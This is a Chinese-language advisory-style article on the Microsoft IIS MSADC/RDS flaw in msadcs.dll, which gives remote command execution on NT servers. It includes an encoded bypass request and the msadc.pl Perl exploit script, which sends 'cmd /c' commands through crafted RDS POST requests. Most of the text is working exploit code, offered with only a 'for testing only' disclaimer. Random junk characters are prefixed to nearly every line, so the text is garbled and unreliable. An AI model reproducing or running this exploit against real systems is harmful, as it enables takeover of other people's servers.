IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h%U}Y5Ps~ 5 w(nttYH 涉及程序:
EK=
y!> Microsoft NT server
>23$_'2 \-pqqSy 描述:
3dSb!q0&N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(i L*1f 8v z h5,U 详细:
D Qz+t 如果你没有时间读详细内容的话,就删除:
J/fnSy c:\Program Files\Common Files\System\Msadc\msadcs.dll
@I}VD\pF 有关的安全问题就没有了。
=&6sU{j* .%y'q!? 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
IITUM) 41R6V>e@9J 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?"*JV1 9 关于利用ODBC远程漏洞的描述,请参看:
|_+#&x AT)b/ycC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $|xSM2 n\)1Bz 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<}:` Y" http://www.microsoft.com/security/bulletins/MS99-025faq.asp z3]W # d!w3LwZ 这里不再论述。
u7^(?"x ~+j2a3rv-{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
P3`$4p? 0PqI^|! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qEuO@oE 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
&e6UEG {1Y@%e od{\z #将下面这段保存为txt文件,然后: "perl -x 文件名"
0
zK{)HZ q8&l%-d` #!perl
xu_,0ZT]{ #
'B{FRK # MSADC/RDS 'usage' (aka exploit) script
3:MJKS02OD #
A+!,{G # by rain.forest.puppy
WPkKbF #
`<yQ`Y_X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I ^m # beta test and find errors!
ax>j3HKi 5wmd[YL use Socket; use Getopt::Std;
#GLW3} getopts("e:vd:h:XR", \%args);
5?F5xiW t[J=8rhER print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
oz>2P.7 M,S'4Szuk if (!defined $args{h} && !defined $args{R}) {
$%q=tn'EX print qq~
nX 9]dz Usage: msadc.pl -h <host> { -d <delay> -X -v }
(5 @H -h <host> = host you want to scan (ip or domain)
v+"4YIN -d <seconds> = delay between calls, default 1 second
!ig&8: -X = dump Index Server path table, if available
JC%&d1
-v = verbose
Lj(cCtb) -e = external dictionary file for step 5
s:7/\h h Fik>B#! Or a -R will resume a command session
0W}qp?
Vn4wk>b}$2 ~; exit;}
7]xDMu'^&f r":anR( ; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?9a%g\`?: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Kc?4q=7q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^L5-2;s<U' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3q}j"x? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fCx( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\OA{&G. VO8rd>b4 if (!defined $args{R}){ $ret = &has_msadc;
jOVF+9M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
EC;>-s Cp(2]Eb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nw'03Jzx_ . "cmd /c ";
;5bd<N $in=<STDIN>; chomp $in;
v8*)^-Fx $command="cmd /c " . $in ;
i-Rn,}v ;o3gR4u_L if (defined $args{R}) {&load; exit;}
@]vY[O!&; EM*I%|n@m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>i,_qe?V:w &try_btcustmr;
1*9.K' &K\80wGK print "\nStep 2: Trying to make our own DSN...";
tLWw<)t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Bj1%}B (_zlCHB print "\nStep 3: Trying known DSNs...";
A vq+s.h &known_dsn;
><
$LV& WA8<:#{e print "\nStep 4: Trying known .mdbs...";
nFNRiDx &known_mdb;
#dj?^n g uy's eJ if (defined $args{e}){
v^b4WS+.: print "\nStep 5: Trying dictionary of DSN names...";
(tX3?[ii &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+ODua@ULFB 4}h}`KZZ print "Sorry Charley...maybe next time?\n";
yl~_~<s6 exit;
^~;ia7V&2 "0PrdZMx ##############################################################################
W~'xJ )"pvF8JR%3 sub sendraw { # ripped and modded from whisker
k?14'X*7yu sleep($delay); # it's a DoS on the server! At least on mine...
n(J>'Z my ($pstr)=@_;
tO8\} u4c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*z?Uh$I4 die("Socket problems\n");
3$nK
if(connect(S,pack "SnA4x8",2,80,$target)){
o,`"*][wd select(S); $|=1;
z~pp7 print $pstr; my @in=<S>;
Zk%@GOu\ select(STDOUT); close(S);
x/umwT,o v return @in;
`y3'v] } else { die("Can't connect...\n"); }}
yx5e SlG v ##############################################################################
zHb[.ry~ t1adS:)s sub make_header { # make the HTTP request
Ev5~= ] my $msadc=<<EOT
LigB!M POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!k)6r6 User-Agent: ACTIVEDATA
#m.e9MU Host: $ip
^
~Eh+ Content-Length: $clen
F'Y ad Connection: Keep-Alive
p H y C7FQc{ ADCClientVersion:01.06
yV!4Im.> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Cy]=Y js<d"m* --!ADM!ROX!YOUR!WORLD!
HeAXZA, Content-Type: application/x-varg
dtC@cK/,D Content-Length: $reqlen
~\_VWXXvIW TlS? S+ EOT
B-Jd|UE`u ; $msadc=~s/\n/\r\n/g;
\b"rf697, return $msadc;}
E$)| Kv^ WR)=VE ##############################################################################
{h?pvH_> &J6`Q<U! sub make_req { # make the RDS request
L/"};VI my ($switch, $p1, $p2)=@_;
/l*v *tl my $req=""; my $t1, $t2, $query, $dsn;
^HSxE 7y'":1 if ($switch==1){ # this is the btcustmr.mdb query
R&Y_ $query="Select * from Customers where City=" . make_shell();
_J
l(:r\% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~?F,kmO}? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&u.{]Yjx pbzFzLal elsif ($switch==2){ # this is general make table query
!4vb{AH $query="create table AZZ (B int, C varchar(10))";
0>sa{Z $dsn="$p1";}
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